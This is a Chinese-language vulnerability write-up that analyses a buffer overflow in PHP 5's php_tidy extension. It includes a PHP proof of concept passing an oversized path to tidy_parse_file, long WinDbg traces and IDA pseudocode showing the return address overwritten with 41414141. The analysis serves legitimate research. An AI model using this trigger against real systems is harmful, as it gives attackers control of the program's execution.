您好,登錄后才能下訂單哦!
怎么在PHP5.0項目中解決TIDY_PARSE_FILE緩沖區溢出漏洞?很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
漏洞說明
不得不再次吐槽一下exploit-db對exp審核的質量,這個exp仍然不能觸發漏洞,修改第一個參數則可以觸發,我給出的poc是一個可以觸發php漏洞的,問題出現在php_tidy.dll擴展中,對tidy_parse_file的第二個參數,也就是文件絕對路徑沒有進行長度控制和內容校驗,導致在fopen失敗后進入失敗處理邏輯引發緩沖區溢出PoC:
<?php $junk = str_repeat("A", 2040); # 2036 x A $buffer = $junk; tidy_parse_file(“http://www.baidu.com”,$buffer,1,1); #tidy_repair_file(1,$buffer,1,1); ?>
漏洞分析
首先介紹一下tidy_parse_file,主要是用來處理html標簽,并且對處理字符串進行存儲,主要關心的是第二個參數。
php會先調用php_module_startup函數對php.ini配置文件進行一系列初始化,包括獲取extension擴展。
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b038 esp=0012fc0c ebp=003b3b98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php5ts!zend_llist_apply+0x18:
1004b038 57 push edi
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b039 esp=0012fc08 ebp=003b3b98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php5ts!zend_llist_apply+0x19:
1004b039 51 push ecx
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b03a esp=0012fc04 ebp=003b3b98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php5ts!zend_llist_apply+0x1a:
1004b03a ffd3 call ebx {php5ts!display_ini_entries+0xb20 (100671a0)}
這個過程不重要,直接略過,在最后會調用php的excute_script用來執行擴展中的API。進入php_tidy.dll動態鏈接庫中。單步跟蹤這個過程。
0:000> p
eax=00a1e358 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ea esp=0012fad0 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16ea:
00b526ea 8b442428 mov eax,dword ptr [esp+28h] ss:0023:0012faf8=00a10001
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ee esp=0012fad0 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16ee:
00b526ee 57 push edi
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ef esp=0012facc ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16ef:
00b526ef 50 push eax
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f0 esp=0012fac8 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16f0:
00b526f0 51 push ecx
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f1 esp=0012fac4 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16f1:
00b526f1 e8ca010000 call php_tidy!get_module+0x18c0 (00b528c0)
0:000> p
ModLoad: 719c0000 719fe000 C:\WINDOWS\System32\mswsock.dll
ModLoad: 76ef0000 76f17000 C:\WINDOWS\system32\DNSAPI.dll
ModLoad: 76f90000 76f96000 C:\WINDOWS\system32\rasadhlp.dll
ModLoad: 60fd0000 61025000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a00000 71a08000 C:\WINDOWS\System32\wshtcpip.dll
eax=00a24198 ebx=00a1e358 ecx=00a24198 edx=00a10000 esi=00000000 edi=003b3bc8
eip=00b526f6 esp=0012fac4 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x16f6:
00b526f6 83c420 add esp,20h
在00b526f1函數位置,會調用php_tidy的一個函數,單步步過時,可以看到加載了一系列dll,比如DNSAPI,mswsock,可以猜測這個函數的主要功能應該是和第一個參數的服務器建立連接,觀察一下這個call函數的參數。
0:000> bp 00b526f1
*** WARNING: Unable to verify checksum for C:\php\ext\php_tidy.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\php\ext\php_tidy.dll -
0:000> g
Breakpoint 1 hit
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f1 esp=0012fac4 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16f1:
00b526f1 e8ca010000 call php_tidy!get_module+0x18c0 (00b528c0)
0:000> dd esp
0012fac4 00a1d928 00a10001 003b3bc8 00a1e2e0
0:000> dc 00a1d928
00a1d928 70747468 772f2f3a 622e7777 75646961 http://www.baidu
00a1d938 6d6f632e baadf000 abababab abababab .com............
第一個參數的內容就是tidy_parse_file函數的第一個參數,果然沒錯,這個函數執行完畢后繼續單步跟蹤。
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b5287e esp=0012fae0 ebp=00a1e2e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x187e:
00b5287e 50 push eax
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b5287f esp=0012fadc ebp=00a1e2e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x187f:
00b5287f e83c260000 call php_tidy!get_module+0x3ec0 (00b54ec0)
程序執行到00b5287f地址位置,這里再次調用了一個call函數,來看一下參數情況。
0:000> dd esp
0012fadc 00a1e420 00a1da80 003b3bc8 0012fb880:000> dd 00a1da80
00a1da80 41414141 41414141 41414141 41414141
00a1da90 41414141 41414141 41414141 41414141
00a1daa0 41414141 41414141 41414141 41414141
00a1dab0 41414141 41414141 41414141 41414141
00a1dac0 41414141 41414141 41414141 41414141
00a1dad0 41414141 41414141 41414141 41414141
00a1dae0 41414141 41414141 41414141 41414141
00a1daf0 41414141 41414141 41414141 41414141
終于接收到了畸形字符串,作為第二個參數傳入。查看一下這個函數的IDA pro偽代碼。
signed int __cdecl sub_10004EC0(int a1, int a2) { signed int result; // eax@2 if ( a1 ) result = sub_1000AC30(a1, a2); else result = -22; return result; }
很簡單的函數邏輯,第二個參數會作為內部參數再次傳遞,調用sub_1000AC30,或者直接返回-22,單步跟蹤。
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ecc esp=0012fad8 ebp=00a1e2e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x3ecc:
00b54ecc 51 push ecx
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ecd esp=0012fad4 ebp=00a1e2e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x3ecd:
00b54ecd 50 push eax
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ece esp=0012fad0 ebp=00a1e2e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x3ece:
00b54ece e85d5d0000 call php_tidy!get_module+0x9c30 (00b5ac30)
0:000> dd esp
0012fad0 00a1e420 00a1da80 00b52884 00a1e420
0:000> dc 00a1da80
00a1da80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1da90 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1daa0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
這里會進入if語句,直接調用sub_1000AC30函數,參數也繼續傳遞,跟入這個函數。
int __cdecl sub_1000AC30(int a1, int a2) { return sub_1000AC50(a1, (char *)a2, (int)aAscii); }
這個也很簡單,繼續跟入。
signed int __cdecl sub_1000AC50(int a1, char *a2, int a3) { v3 = a1; v20 = *(_DWORD *)(a1 + 1168); v4 = (const char *)sub_1000AB80((int)a2); v5 = (char *)v4; v21 = v4; v6 = a1 + 72; v7 = fopen(v4, Mode); v8 = v7; v19 = v7; v9 = sub_1000BBA0(a3); if ( !v8 || v9 < 0 ) { sub_10013E80(a1, (int)v5, 2); return -1; }
在內部函數中,會執行一處fopen操作,打開的對象是v4,v4又是直接從a2獲取的,a2就是剛才直接傳遞的畸形字符串,很顯然,打開畸形字符串肯定是失敗的。
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aca7 esp=0012da5c ebp=00a1e468 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x9ca7:
00b5aca7 85f6 test esi,esi
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aca9 esp=0012da5c ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ca9:
00b5aca9 0f8410020000 je php_tidy!get_module+0x9ebf (00b5aebf) [br=1]
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aebf esp=0012da5c ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ebf:
00b5aebf 6a02 push 2
也就是會進入上述偽代碼中的if語句中的分支,調用sub_10013E80函數。
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec1 esp=0012da58 ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ec1:
00b5aec1 57 push edi
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec2 esp=0012da54 ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ec2:
00b5aec2 53 push ebx
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec3 esp=0012da50 ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ec3:
00b5aec3 e8b88f0000 call php_tidy!get_module+0x12e80 (00b63e80)
0:000> dd edi
00a1da80 41414141 41414141 41414141 41414141
00a1da90 41414141 41414141 41414141 41414141
00a1daa0 41414141 41414141 41414141 41414141
00a1dab0 41414141 41414141 41414141 41414141
00a1dac0 41414141 41414141 41414141 41414141
00a1dad0 41414141 41414141 41414141 41414141
接下來00b5aec3地址位置的call函數調用,有4個參數,看一下偽代碼。
int (__cdecl *sub_10013A20(int arg0, int arg4, char *Format, ...))(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD) { va_list va; // [sp+10h] [bp+10h]@1 va_start(va, Format); return sub_10013A50(arg0, arg4, 0, 0, Format, va); }
這里會直接傳入sub_10013A50函數,但實際上這個函數傳參和畸形字符串并沒有關系,va是一個名為va_list的結構體。
實際上,進入的這個函數,就是要負責處理構造一個報錯的字符串,而問題就出在這個函數中,跟入這個函數,單步跟蹤后會發現,函數首先會進入一處循環。
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3a esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b3a:
00b63b3a 0fbec0 movsx eax,al
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3d esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b3d:
00b63b3d 52 push edx
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3e esp=0012d1c8 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b3e:
00b63b3e 50 push eax
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3f esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b3f:
00b63b3f e88c34ffff call php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000003 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701 mov al,byte ptr [edi+1] ds:0023:0012d1df=66
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b47 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b47:
00b63b47 83c408 add esp,8
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b4a esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b4a:
00b63b4a 47 inc edi
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b4b esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b4b:
00b63b4b 84c0 test al,al
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b4d esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b4d:
00b63b4d 75e5 jne php_tidy!get_module+0x12b34 (00b63b34) [br=1]
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b34 esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b34:
00b63b34 8b9684040000 mov edx,dword ptr [esi+484h] ds:0023:00a1e8a4=00a1e958
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3a esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b3a:
00b63b3a 0fbec0 movsx eax,al
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3d esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b3d:
00b63b3d 52 push edx
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3e esp=0012d1c8 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b3e:
00b63b3e 50 push eax
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3f esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b3f:
00b63b3f e88c34ffff call php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000004 ebx=00000000 ecx=00a21080 edx=00000003 esi=00a1e420 edi=0012d1df
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701 mov al,byte ptr [edi+1] ds:0023:0012d1e0=69
0:000> dc edi
0012d1df 3a676966 12d20020 12d26c00 92e90000 fig: ....l......
0012d1ef 9392f87c ffffff7c 9392efff 12d27c7c |...|.......||..
我在循環中間做了一次停頓,可以看到edi一直在拷貝一字節進al,實際上,這個過程是在拷貝第一個字符串。直接看一下拷貝結束后的目標地址空間。
Breakpoint 1 hit
eax=00000001 ebx=00000000 ecx=00a21080 edx=00000000 esi=00a1e420 edi=0012d1dc
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701 mov al,byte ptr [edi+1] ds:0023:0012d1dd=6f
0:000> dc edi
0012d1dc 666e6f43 203a6769 0012d200 0012d26c Config:
第一個字符串時候Config,接下來馬上會到達另一處循環。
0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b64 esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b64:
00b63b64 51 push ecx
0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b65 esp=0012d1c8 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b65:
00b63b65 52 push edx
0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b66 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b66:
00b63b66 e86534ffff call php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000009 ebx=00000000 ecx=00a21080 edx=00000008 esi=00a1e420 edi=0012d21c
eip=00b63b6b esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b6b:
00b63b6b 8a4701 mov al,byte ptr [edi+1] ds:0023:0012d21d=61
0:000> dc edi
0012d21c 276e6143 706f2074 22206e65 41414141 Can't open "AAAA
0012d22c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012d23c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012d24c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012d25c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012d26c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
這里就會拷貝cant open + 畸形字符串 的字符串了,這里拷貝過程并沒有對拷貝字符串進行長度控制,導致拷貝結束后會溢出目標字符串的緩沖區。
拷貝結束后,可以直接看一下目標緩沖區的內容。
0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22e
eip=00b63b6e esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b6e:
00b63b6e 83c408 add esp,8
0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22e
eip=00b63b71 esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b71:
00b63b71 47 inc edi
0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22f
eip=00b63b72 esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b72:
00b63b72 84c0 test al,al
0:000> dc ecx
00a21080 666e6f43 203a6769 276e6143 706f2074 Config: Can't op
00a21090 22206e65 41414141 00414141 00000000 en "AAAAAAA.....
此時緩沖區已經溢出,看一下緩沖區內的情況。
0:000> bp 00b63b84
0:000> dc ecx
00a1ef88 666e6f43 203a6769 276e6143 706f2074 Config: Can't op
00a1ef98 22206e65 41414141 41414141 41414141 en "AAAAAAAAAAAA
00a1efa8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1efb8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1efc8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1efd8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
執行到返回
0:000> p
eax=00000811 ebx=00000000 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b89 esp=0012d1d4 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b89:
00b63b89 5d pop ebp
0:000> p
eax=00000811 ebx=00000000 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b8a esp=0012d1d8 ebp=00a1e468 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b8a:
00b63b8a 5b pop ebx
0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b8b esp=0012d1dc ebp=00a1e468 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b8b:
00b63b8b 81c440080000 add esp,840h
0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b91 esp=0012da1c ebp=00a1e468 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b91:
00b63b91 c3 ret
0:000> dd esp
0012da1c 41414141 00000a22 00000002 00000000
此時esp已經被覆蓋,返回后到達可控位置。
0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=41414141 esp=0012da20 ebp=00a1e468 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
41414141 ?? ???
通過IDA pro可以看到這個存在問題的函數邏輯,實際上兩處拷貝時兩處for循環,但并沒有對for循環長度進行控制,而是全部拷貝。
int (__cdecl *__cdecl sub_10013A50(int a1, int a2, int a3, int a4, char *Format, va_list Args))(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD) { …… for ( j = &v14; v10; ++j ) { sub_10006FD0(v10, *(_DWORD *)(a1 + 1156)); v10 = j[1]; } v12 = Dest; for ( k = &Dest; v12; ++k ) { sub_10006FD0(v12, *(_DWORD *)(a1 + 1156)); v12 = k[1]; } result = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))sub_10006FD0(10, *(_DWORD *)(a1 + 1156)); return result }
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。